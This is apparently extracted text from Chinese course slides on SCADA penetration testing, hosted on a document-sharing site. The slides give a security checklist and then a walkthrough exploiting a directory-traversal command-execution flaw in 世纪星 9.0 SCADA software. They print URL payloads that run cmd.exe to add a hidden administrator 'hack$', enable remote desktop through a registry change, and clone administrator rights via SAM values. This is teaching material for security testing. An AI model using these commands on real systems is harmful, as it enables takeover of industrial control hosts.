![《工业互联网安全测试技术》课件- 09 SCADA渗透测试流程实例_第1页](http://file4.renrendoc.com/view12/M05/14/00/wKhkGWaTIwuAVPIPAAGPopEEczU625.jpg)
![《工业互联网安全测试技术》课件- 09 SCADA渗透测试流程实例_第2页](http://file4.renrendoc.com/view12/M05/14/00/wKhkGWaTIwuAVPIPAAGPopEEczU6252.jpg)
![《工业互联网安全测试技术》课件- 09 SCADA渗透测试流程实例_第3页](http://file4.renrendoc.com/view12/M05/14/00/wKhkGWaTIwuAVPIPAAGPopEEczU6253.jpg)
![《工业互联网安全测试技术》课件- 09 SCADA渗透测试流程实例_第4页](http://file4.renrendoc.com/view12/M05/14/00/wKhkGWaTIwuAVPIPAAGPopEEczU6254.jpg)
![《工业互联网安全测试技术》课件- 09 SCADA渗透测试流程实例_第5页](http://file4.renrendoc.com/view12/M05/14/00/wKhkGWaTIwuAVPIPAAGPopEEczU6255.jpg)
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
工业互联网安全测试技术《工业互联网安全测试技术》课程组
IndustrialInternetSecurityTestingTechnologyGYHLWAQCSJS-009SCADA渗透测试流程实例第2章工控操作系统安全测试目录01SCADA渗透测试流程02SCADA渗透测试流程实例0101SCADA渗透测试流程SCADA渗透测试01SCADA渗透测试流程实例针对SCADA渗透测试流程如下列表几点所示:出厂默认设置是否修改是否设置了访问PLC的白名单SCADA网络与其他网络是否隔离是否可以通过物理方式访问SCADA控制中心控制机器是否可以访问互联网SCADA的网络传输是否是明文形式组织是否遵循严格的密码策略控制器、工作站以及服务器是否打了最新补丁是否运行有防病毒软件并且设置应用程序白名单0202SCADA渗透测试流程实例(1)漏洞信息02SCADA渗透测试流程实例漏洞名称AdvantechWebAccess信息泄露漏洞影响产品AdvantechWebAccess8.1
AdvantechWebAccess8.2
AdvantechWebAccess7.2CVEIDCVE-2016-5810漏洞描述AdvantechWebAccess存在信息泄露漏洞,低权限用户可以获得其它用户的密码,包括系统管理员的密码。
参考连接/ics/advisories/ICSA-16-173-01本节内容将讲解SCADA渗透是针对世纪星9.0SCADA组态软件的远程命令执行漏洞,漏洞信息如下:(2)配置世纪星配置世纪星进行web发布,默认情况下攻击者会对发布页面当作一条攻击的路线。直至达到持久性后期利用。02SCADA渗透测试流程实例(3)虚拟化系统配置XP虚拟机:38物理机:34;虚拟机运行世纪星工程,物理机IE浏览器链接web发布页面:02SCADA渗透测试流程实例(4)目录浏览使用“.../”可对WEBSERVER目录进行跳转,可对上层目录进行遍历,输入:http://IP/.../。如图:02SCADA渗透测试流程实例(5)扫描端口在XP虚拟机使用netstat-ano在cmd运行。排查端口是否关闭3389,之后的攻击中将会对目标开启3389端口:02SCADA渗透测试流程实例(6)远程创建用户例如软件默认安装位置为“C:\CenturyStar”,那么可以跳转目录到cmd的目录下对虚拟机主机进行任意命令如“http://IP地址/.../.../windows/system32/cmd.exe?/c+net+user+hack$+hack+/add&net+localgroup+administrators+hack$+/add”加隐藏管理用户等02SCADA渗透测试流程实例(7)扫描端口&远程连接同理执行这条命令开启3389端口,并尝试连接之前创建的hack$用户,连接成功。“http://IP地址/.../.../windows/system32/cmd.exe?/c+REG+ADD+HKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server+/v+fDenyTSConnections+/t+REG_DWORD+/d+00000000+/f”02SCADA渗透测试流程实例(8)修改注册表使用创建好的用户(hack$)远程桌面登陆,并查看注册表下SAM文件,将administrator与hack的用户权限进行复制。02SCADA渗透测试流程实例(9)修改注册表通过注册表查导出注册表SAM下hack$的两个对应键值和users下第一个键值(这个是administrator的)将000003ed内“F”值替换成000001F4
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 《基层文秘人员如何提高公文写作能力5篇》
- 海东地区互助土族自治县2023年数学三下期末达标检测试题含解析
- 文明礼仪伴我行主题的国旗下初二学生发言稿五篇
- 手术器械清洗中存在的问题及对策的论文-教育理论论文
- 幼儿园食堂食品安全责任制园长负责制6篇
- 小学四年级上学期信息科技《幸运礼物》教学设计
- 初中二年级下学期生物《孟德尔豌豆杂交实验》教学设计
- 某某集团管理制度汇编
- 贵州省遵义地区重点达标名校2024-2025学年初三一轮收官考试(二)语文试题含解析
- 车载数码碟盒产品相关项目建议书
- 关于延长租赁合同期限的申请书
- 从双到扶贫到精准扶贫:广东农村扶贫体制的变革与发展
- 开展工会劳动保护工作的实践与思考
- 防呆防错的原理
- 简支连续梁桥防撞墙施工工序及关键工序
- 娃哈哈AD钙奶营销策划
- 安装服务合作合同协议书范本
- 接触网拉线基础及拉线锚板作业指导书
- 《史记补.三皇本纪》.唐鸡脖司马贞
- 中博饼游戏规则
- 桥牌基础教程教学方案
评论
0/150
提交评论